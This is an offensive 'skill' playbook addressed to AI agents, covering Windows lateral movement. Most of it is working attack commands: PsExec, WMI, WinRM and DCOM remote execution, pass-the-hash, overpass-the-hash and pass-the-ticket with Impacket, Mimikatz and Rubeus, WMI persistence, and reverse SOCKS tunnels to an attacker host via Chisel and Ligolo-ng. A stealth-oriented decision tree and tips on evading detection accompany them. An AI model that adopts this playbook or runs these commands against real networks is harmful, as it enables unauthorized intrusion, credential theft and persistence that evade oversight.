windows-lateral-movement

SKILL: Windows Lateral Movement — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert Windows lateral movement techniques. Covers PsExec, WMI, WinRM, DCOM, SMB, RDP, SSH, pass-the-hash, overpass-the-hash, pass-the-ticket, and pivoting. Base models miss execution method fingerprints, OPSEC trade-offs, and credential type requirements per method.

0. RELATED ROUTING

Before going deep, consider loading:

• windows-privilege-escalation after landing on a new host for local escalation
• windows-av-evasion when EDR blocks lateral movement tools
• active-directory-kerberos-attacks for Kerberos-based lateral (pass-the-ticket, delegation)
• active-directory-acl-abuse for ACL-based paths to new hosts

Advanced Reference

Also load CREDENTIAL_DUMPING.md when you need:

• LSASS dump techniques (MiniDump, comsvcs.dll, nanodump)
• SAM/SYSTEM/SECURITY extraction
• DPAPI, credential manager, cached domain credentials
• NTDS.dit extraction methods

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1. REMOTE EXECUTION METHODS COMPARISON

Method	Port	Cred Type	Creates Service?	File on Disk?	OPSEC	Admin Required?
PsExec	445 (SMB)	Password/Hash	Yes (PSEXESVC)	Yes (.exe)	Low	Yes
Impacket smbexec	445	Password/Hash	Yes (temp service)	No	Medium	Yes
Impacket atexec	445	Password/Hash	No (scheduled task)	No	Medium	Yes
WMI	135+dynamic	Password/Hash	No	No	High	Yes
WinRM	5985/5986	Password/Hash/Ticket	No	No	High	Yes (Remote Mgmt)
DCOM	135+dynamic	Password/Hash	No	No	High	Yes
RDP	3389	Password/Hash (RestrictedAdmin)	No	No	Low (GUI session)	RDP access
SSH	22	Password/Key	No	No	High	SSH enabled
SC	445	Password/Hash	Yes (custom service)	Yes	Low	Yes

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2. PSEXEC VARIANTS

Impacket PsExec

# With password
psexec.py DOMAIN/administrator:password@TARGET_IP

# With NTLM hash (pass-the-hash)
psexec.py -hashes :NTLM_HASH DOMAIN/administrator@TARGET_IP

# With Kerberos ticket
export KRB5CCNAME=admin.ccache
psexec.py -k -no-pass DOMAIN/administrator@target.domain.com

Impacket smbexec (Stealthier — No Binary Upload)

smbexec.py DOMAIN/administrator:password@TARGET_IP
smbexec.py -hashes :NTLM_HASH DOMAIN/administrator@TARGET_IP

Impacket atexec (Scheduled Task)

atexec.py DOMAIN/administrator:password@TARGET_IP "whoami"
atexec.py -hashes :NTLM_HASH DOMAIN/administrator@TARGET_IP "whoami"

Sysinternals PsExec

PsExec64.exe \\TARGET -u DOMAIN\administrator -p password cmd.exe
PsExec64.exe \\TARGET -s cmd.exe    & REM Run as SYSTEM (-s)
PsExec64.exe \\TARGET -accepteula -s -d cmd.exe /c "C:\temp\payload.exe"

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3. WMI LATERAL MOVEMENT

# Impacket wmiexec
wmiexec.py DOMAIN/administrator:password@TARGET_IP
wmiexec.py -hashes :NTLM_HASH DOMAIN/administrator@TARGET_IP

# With Kerberos
export KRB5CCNAME=admin.ccache
wmiexec.py -k -no-pass DOMAIN/administrator@target.domain.com

# PowerShell WMI process creation
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami > C:\temp\out.txt" -ComputerName TARGET -Credential $cred

# WMI event subscription persistence
$filterArgs = @{
    EventNamespace = 'root\cimv2'; Name = 'Updater';
    QueryLanguage = 'WQL';
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
$filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $filterArgs

---

4. WINRM LATERAL MOVEMENT

# evil-winrm (from Linux — with password)
evil-winrm -i TARGET_IP -u administrator -p password

# evil-winrm (with hash)
evil-winrm -i TARGET_IP -u administrator -H NTLM_HASH

# evil-winrm (with Kerberos)
evil-winrm -i target.domain.com -r DOMAIN.COM

# PowerShell remoting
$cred = Get-Credential
Enter-PSSession -ComputerName TARGET -Credential $cred

# Execute command remotely
Invoke-Command -ComputerName TARGET -Credential $cred -ScriptBlock { whoami }

# Multiple targets simultaneously
Invoke-Command -ComputerName TARGET1,TARGET2 -Credential $cred -ScriptBlock { hostname; whoami }

---

5. DCOM LATERAL MOVEMENT

Stealthy — uses legitimate COM objects, no service creation.

MMC20.Application

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","TARGET"))
$com.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c whoami > C:\temp\out.txt","7")

ShellWindows

$com = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","TARGET"))
$item = $com.Item()
$item.Document.Application.ShellExecute("cmd.exe","/c whoami > C:\temp\out.txt","C:\Windows\System32",$null,0)

ShellBrowserWindow

$com = [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","TARGET"))
$com.Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\Windows\System32",$null,0)

Impacket dcomexec

dcomexec.py DOMAIN/administrator:password@TARGET_IP
dcomexec.py -hashes :NTLM_HASH DOMAIN/administrator@TARGET_IP -object MMC20

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6. PASS-THE-HASH (PTH)

Use NTLM hash directly without knowing the plaintext password.

# CrackMapExec — spray/check admin access
crackmapexec smb TARGETS -u administrator -H NTLM_HASH

# Impacket tools (all support -hashes)
psexec.py -hashes :NTLM_HASH DOMAIN/user@TARGET
wmiexec.py -hashes :NTLM_HASH DOMAIN/user@TARGET
smbexec.py -hashes :NTLM_HASH DOMAIN/user@TARGET

# evil-winrm
evil-winrm -i TARGET -u user -H NTLM_HASH

# xfreerdp (Restricted Admin mode must be enabled)
xfreerdp /v:TARGET /u:administrator /pth:NTLM_HASH /d:DOMAIN

# Mimikatz PTH (spawns new process with injected creds)
sekurlsa::pth /user:administrator /domain:DOMAIN /ntlm:HASH /run:cmd.exe

Enable Restricted Admin for RDP PTH

# On target (requires admin): enable restricted admin
reg add HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f

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7. OVERPASS-THE-HASH (PASS-THE-KEY)

Convert NTLM hash → Kerberos TGT → pure Kerberos authentication.

# Request TGT with hash
getTGT.py DOMAIN/user -hashes :NTLM_HASH -dc-ip DC_IP
export KRB5CCNAME=user.ccache

# Or with AES256 key
getTGT.py DOMAIN/user -aesKey AES256_KEY -dc-ip DC_IP

# Use Kerberos for all subsequent tools
psexec.py -k -no-pass DOMAIN/user@target.domain.com
wmiexec.py -k -no-pass DOMAIN/user@target.domain.com

# Mimikatz overpass-the-hash
sekurlsa::pth /user:user /domain:DOMAIN /ntlm:HASH /run:powershell.exe
# New PowerShell session → klist shows Kerberos TGT

Advantage: Pure Kerberos auth avoids NTLM logging and detection.

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8. PASS-THE-TICKET

# Use existing .ccache ticket
export KRB5CCNAME=/path/to/admin.ccache
psexec.py -k -no-pass DOMAIN/admin@target.domain.com

# Mimikatz — inject .kirbi ticket
kerberos::ptt ticket.kirbi
# Verify
klist

# Rubeus
Rubeus.exe ptt /ticket:base64_blob

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9. PIVOTING THROUGH COMPROMISED HOSTS

SSH Tunnel / Port Forward

# Dynamic SOCKS proxy through compromised host
ssh -D 1080 user@COMPROMISED_HOST
# Use with proxychains

# Local port forward (access internal service)
ssh -L 8888:INTERNAL_TARGET:445 user@COMPROMISED_HOST

Chisel (No SSH Needed)

# On attacker (server)
chisel server --reverse -p 8080

# On compromised host (client)
chisel client ATTACKER:8080 R:socks
# Creates SOCKS5 proxy on attacker's port 1080

Ligolo-ng (Modern, Fast)

# On attacker
ligolo-proxy -selfcert -laddr 0.0.0.0:11601

# On compromised host
ligolo-agent -connect ATTACKER:11601 -retry -ignore-cert

# In ligolo console
session          # Select agent
start            # Start tunnel
# Add route: sudo ip route add INTERNAL_SUBNET/24 dev ligolo

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10. LATERAL MOVEMENT DECISION TREE

Have credentials / hash — need to move laterally
│
├── What credentials do you have?
│   ├── Plaintext password → any method
│   ├── NTLM hash → PTH methods (§6)
│   │   ├── Need stealthier? → Overpass-the-Hash first (§7)
│   │   └── Direct use → psexec/wmiexec/evil-winrm with -H
│   ├── Kerberos ticket → Pass-the-Ticket (§8)
│   └── AES key → Overpass-the-Hash with -aesKey (§7)
│
├── OPSEC priority?
│   ├── High stealth needed
│   │   ├── WMI (no file on disk, no service) → wmiexec (§3)
│   │   ├── DCOM (uses legitimate COM) → dcomexec (§5)
│   │   └── WinRM (PowerShell remoting) → evil-winrm (§4)
│   ├── Moderate stealth
│   │   ├── smbexec (no binary upload) (§2)
│   │   └── atexec (scheduled task, auto-cleanup) (§2)
│   └── Low stealth acceptable
│       ├── PsExec (reliable, creates service) (§2)
│       └── RDP (interactive GUI) (§6)
│
├── Need to pivot to internal network?
│   ├── SSH available → SSH tunnel / SOCKS (§9)
│   ├── No SSH → Chisel or Ligolo-ng (§9)
│   └── Multiple hops → chain SOCKS proxies
│
├── Target hardening?
│   ├── SMB signing required → WMI, WinRM, or DCOM
│   ├── WinRM disabled → WMI or DCOM
│   ├── Firewall blocks 135/445 → RDP or SSH
│   └── Restricted Admin disabled → no RDP PTH → use other methods
│
└── Need to dump creds on new host?
    └── Load CREDENTIAL_DUMPING.md